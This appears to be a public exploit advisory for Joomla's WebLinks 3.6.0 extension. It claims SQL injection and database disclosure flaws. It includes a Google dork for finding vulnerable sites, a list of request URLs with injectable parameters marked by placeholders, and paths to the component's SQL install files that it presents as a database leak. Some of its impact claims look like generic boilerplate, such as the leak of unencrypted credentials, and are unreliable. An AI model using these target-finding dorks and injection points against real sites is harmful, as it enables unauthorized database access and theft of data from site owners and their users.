Joomla WebLinks version 3.6.0 suffers from database disclosure and remote SQL injection vulnerabilities.
6243a4096fd55705a23994be1f211e63
####################################################################
# Exploit Title : Joomla WebLinks 3.6.0 SQL Injection / Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 10/02/2019
# Vendor Homepage : joomla.org
# Software Download Link :
downloads.joomla.org/extensions/weblinks/3-6-0/pkg-weblinks-3-6-0-zip?format=zip
github.com/joomla-extensions/weblinks
# Software Information Link :
extensions.joomla.org/extensions/extension/official-extensions/weblinks/
# Software Versions : 3.4.0 - 3.4.1 - 3.5.0 - 3.6.0 and other previous versions.
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_weblinks''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# Old Similar CVE : CVE-2010-2679
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
####################################################################
# Description about Software :
***************************
The Web Links Manager allows you to add, edit and remove links to other web sites
on your Joomla! web site, and organize them into categories.
You can then display these links on your site, and optionally let visitors add new links.
####################################################################
# Impact :
***********
* SQL injection vulnerability in the Weblinks (com_weblinks) component in Joomla!
allows remote attackers to execute arbitrary SQL commands
via the id parameter in a view action to index.php.
Joomla WebLinks 3.6.0 and other versions - component for Joomla is prone
to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied
data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application,
access or modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application
and execute arbitrary SQL commands in application`s database.
Further exploitation of this vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser.
* This Software prone to an information exposure/database disclosure vulnerability.
Successful exploits of this issue may allow an attacker to obtain sensitive
information by downloading the full contents of the application's database.
* Any remote user may download the database files and gain access
to sensitive information including unencrypted authentication credentials.
####################################################################
# SQL Injection Exploit :
**********************
/index.php?option=com_weblinks&Itemid=[SQL Injection]
/index.php?option=com_weblinks&catid=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_weblinks&view=categories&Itemid=[SQL Injection]
/index.php?option=com_weblinks&task=view&catid=[ID-NUMBER]&id=[SQL Injection]
/index.php?option=com_weblinks&view=category&id=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_weblinks&view=category&id=[ID-NUMBER]%3[FOLDER-NAME]&Itemid=[SQL Injection]
/index.php?option=com_weblinks&view=category&id=[ID-NUMBER]%3[FOLDER-NAME]&format=feed&type=[SQL Injection]
# Database Disclosure Exploit :
****************************
/administrator/components/com_weblinks/sql/install.mysql.sql
/administrator/components/com_weblinks/sql/install.postgresql.sql
/administrator/components/com_weblinks/sql/install.sqlsrv.sql
/administrator/components/com_weblinks/sql/uninstall.mysql.sql
/administrator/components/com_weblinks/sql/uninstall.postgresql.sql
/administrator/components/com_weblinks/sql/uninstall.sqlsrv.sql
/administrator/components/com_weblinks/sql/updates/mysql/3.4.0.sql
/administrator/components/com_weblinks/sql/updates/mysql/3.5.1.sql
/administrator/components/com_weblinks/sql/updates/postgresql/3.4.0.sql
/administrator/components/com_weblinks/sql/updates/sqlsrv/3.4.0.sql
/administrator/components/com_weblinks/sql/install.mysql.utf8.sql.encrypted
/administrator/components/com_weblinks/sql/uninstall.mysql.utf8.sql.encrypted
####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
####################################################################